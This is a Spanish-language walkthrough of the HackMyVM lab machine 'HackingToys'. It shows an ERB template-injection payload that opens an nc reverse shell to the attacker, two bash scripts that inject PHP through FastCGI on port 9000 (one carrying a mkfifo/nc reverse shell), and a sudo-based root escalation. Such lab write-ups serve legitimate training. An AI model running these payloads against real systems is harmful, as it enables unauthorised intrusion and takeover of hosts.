> For the complete documentation index, see [llms.txt](https://burple.gitbook.io/burple/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burple.gitbook.io/burple/hackmyvm/medio/hackingtoys.md).

# HackingToys

<figure><img src="/files/ewxrRUbMIeeNpfw0lo00" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

Primero realizamos un escaneo de nuestra red para identificar a la maquina vulnerable victima:

```
arp-scan -l
```

<figure><img src="/files/hiu8y0bRRrV9nK7L1EzV" alt=""><figcaption></figcaption></figure>

`nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv`

Ejecutamos un escaneo de nmap para ver ante que puertos abiertos y servicios nos enfrentamos. Y nos encontramos los puertos 22 (Ssh) y 3000 abiertos:

<figure><img src="/files/fqpDxpZa47HuJ5uFwb5e" alt=""><figcaption></figcaption></figure>

Entro (Con https) a la IP a traves del puerto 3000 y me encuentro con una pagina con varios gadgets y una barra con la cual podemos buscar dichos gadgets:

<figure><img src="/files/fRWNFmEkoPkyLcwlRGcu" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

Quizás la barra de busqueda es vulnerable a un SSTI (Server Side Template Injection), vamos a probar a url encodear 7\*7, y si la respuesta es 49, significara que es vulnerable ([Página web](https://www.urlencoder.org/es/)):

<figure><img src="/files/wQtybymPZkZhjG1MzkjE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/nFNYII8IxaRbjT8S7nNM" alt=""><figcaption></figcaption></figure>

Vamos a lanzar una reverse shell a nuestra maquina victima:

```
<%= system("nc -e /bin/bash 192.168.8.109 4444") %>
```

<figure><img src="/files/Io9DRVcvqncobeFfxo0y" alt=""><figcaption><p>Nos llega exitosamente</p></figcaption></figure>

## Escalada de privilegios

Ahora depuramos la [tty](/burple/cheats/depuracion-de-tty.md) y a continuación ejecutamos ss -altpn para ver a que puertos esta escuchando la maquina victima y podemos apreciar que esta escuchando al puerto 9000, el cual corresponde a [Fast-cgi](https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi):

&#x20;

<figure><img src="/files/comtYH21Jy41sQr6czNp" alt=""><figcaption></figcaption></figure>

&#x20;Para confirmar que en efecto se esta haciendo uso de Fast-cgi podemos ir a la siguiente ruta para confirmarlo:

<figure><img src="/files/pWtIR8PLtUb0kFUc5Jel" alt=""><figcaption></figcaption></figure>

Ahora vamos a explotarlo, creamos el siguiente código extraido de HacksTricks y le damos permisos con chmod +x exploit.sh (En mi caso me he ido a /dev/shm y he creado un index.php vacio, y ese archivo creado es la ruta que he introducido en "FILENAMES"):

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done
```

Ejecutamos el archivo:

<figure><img src="/files/KPXctZWqwR9b949osLX4" alt=""><figcaption></figcaption></figure>

Ahora que sabes que funciona, vamos a mandarnos una reverse shell a nuestra maquina (Script extraido de [está pagina web](https://exploit-notes.hdks.org/exploit/network/fastcgi-pentesting/)):

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f'); echo '-->';"
FILENAMES="/dev/shm/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

```

<figure><img src="/files/Phx0JAoq9XQKoyLdKW84" alt=""><figcaption><p>Nos llega la solicitud con exito</p></figcaption></figure>

Procedemos a depurar la [tty](/burple/cheats/depuracion-de-tty.md) y ahora si que podemos ejecutar sudo -l y vemos que todo el mundo puede ejecutar rvm\_rails.sh:&#x20;

<figure><img src="/files/iPklKIwr4eU50ntCqJ67" alt=""><figcaption></figcaption></figure>

Vamos a crear un nuevo tipo de rvm\_rails.sh, para poder así entrar a la consola:

<figure><img src="/files/QWJ6y6UTRKEevRUbBSmF" alt=""><figcaption></figcaption></figure>

Entramos corriendo como sudo el archivo y introduciendo como parametro console, y comprobamos que permisos tendria:

<figure><img src="/files/ZWBboGxMoZCaudgu9i8P" alt=""><figcaption></figcaption></figure>

Ahora vamos a correr un bash para ser root y tener aceso total a la maquina:

<figure><img src="/files/d40wIEx8wIx2hmNzbmyu" alt=""><figcaption></figcaption></figure>
